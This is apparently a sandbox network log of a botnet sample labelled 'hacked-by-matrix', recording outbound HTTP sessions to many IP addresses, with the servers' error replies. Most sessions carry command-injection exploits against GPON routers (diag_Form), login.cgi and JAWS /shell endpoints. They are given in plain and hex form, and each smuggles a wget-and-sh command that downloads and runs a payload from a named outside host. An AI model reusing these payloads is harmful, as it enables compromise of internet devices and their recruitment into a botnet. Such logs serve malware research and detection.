Mar 2, 2024 12:38:01.090217113 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1225	192.168.2.23	59620	118.140.15.206	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:01.090224981 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1226	192.168.2.23	38686	5.29.31.253	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:01.090248108 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1227	192.168.2.23	45300	5.216.206.26	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:01.090281963 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1228	192.168.2.23	53470	118.42.21.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:01.090285063 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1229	192.168.2.23	37732	42.209.103.94	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:01.090286970 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1230	192.168.2.23	52630	37.33.213.85	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:01.090311050 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1231	192.168.2.23	58542	94.28.89.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:01.090311050 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1232	192.168.2.23	34328	5.183.203.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:01.090311050 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1233	192.168.2.23	59976	37.139.38.228	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:01.243968010 CET	6	OUT	GET Data Raw: Data Ascii:
Mar 2, 2024 12:38:04.315561056 CET	6	OUT	GET Data Raw: Data Ascii:
Mar 2, 2024 12:38:10.458712101 CET	6	OUT	GET Data Raw: Data Ascii:
Mar 2, 2024 12:38:22.491502047 CET	6	OUT	GET Data Raw: Data Ascii:
Mar 2, 2024 12:38:47.317492962 CET	6	OUT	GET Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1234	192.168.2.23	56184	104.22.3.108	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:02.035371065 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:02.559000969 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:03.163714886 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:03.258512974 CET	328	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Sat, 02 Mar 2024 11:38:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1235	192.168.2.23	36200	38.154.70.77	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:02.275604010 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:02.388092041 CET	1286	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.23 Mime-Version: 1.0 Date: Sat, 02 Mar 2024 11:51:09 GMT Content-Type: text/html Content-Length: 3183 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff
Mar 2, 2024 12:38:02.388120890 CET	1286	IN	Data Raw: 3b 0a 7d 0a 0a 2f 2a 20 47 65 6e 65 72 61 6c 20 74 65 78 74 20 2a 2f 0a 70 20 7b 0a 7d 0a 0a 2f 2a 20 65 72 72 6f 72 20 62 72 69 65 66 20 64 65 73 63 72 69 70 74 69 6f 6e 20 2a 2f 0a 23 65 72 72 6f 72 20 70 20 7b 0a 7d 0a 0a 2f 2a 20 73 6f 6d 65 Data Ascii: ;}/* General text /p {}/ error brief description /#error p {}/ some data which may have caused the problem /#data {}/ the error message received from the system or other software */#sysmsg {}pre { font-family:sans-
Mar 2, 2024 12:38:02.388133049 CET	853	IN	Data Raw: 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 69 73 20 69 6e 63 6f 72 72 65 63 74 2e 3c 2f 70 3e 20 20 3c 70 3e 53 6f 6d 65 20 70 6f 73 73 69 62 6c 65 20 70 72 6f 62 6c 65 6d 73 20 61 72 65 3a 3c 2f 70 3e 20 3c 75 6c 3e 20 3c 6c 69 3e 3c 70 Data Ascii: he requested URL is incorrect.</p> <p>Some possible problems are:</p> <ul> <li><p>Missing or incorrect access protocol (should be <q>http://</q> or similar)</p></li> <li><p>Missing hostname</p></li> <li><p>Illegal double-escape in the URL-Pat

Session ID	Source IP	Source Port	Destination IP	Destination Port
1236	192.168.2.23	40070	104.16.125.114	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:02.367182016 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:02.472150087 CET	328	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Sat, 02 Mar 2024 11:38:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1237	192.168.2.23	46020	104.17.136.35	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:02.737747908 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1238	192.168.2.23	45568	23.199.38.183	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:02.739315033 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:02.826797962 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Sat, 02 Mar 2024 11:38:02 GMT Date: Sat, 02 Mar 2024 11:38:02 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 39 31 30 34 64 32 31 37 26 23 34 36 3b 31 37 30 39 33 37 39 34 38 32 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.9104d217.1709379482.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1239	192.168.2.23	57032	23.200.121.191	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:02.826648951 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:02.914825916 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Sat, 02 Mar 2024 11:38:02 GMT Date: Sat, 02 Mar 2024 11:38:02 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 32 34 33 35 33 32 31 37 26 23 34 36 3b 31 37 30 39 33 37 39 34 38 32 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.24353217.1709379482.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1240	192.168.2.23	37196	197.255.15.176	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:02.917779922 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
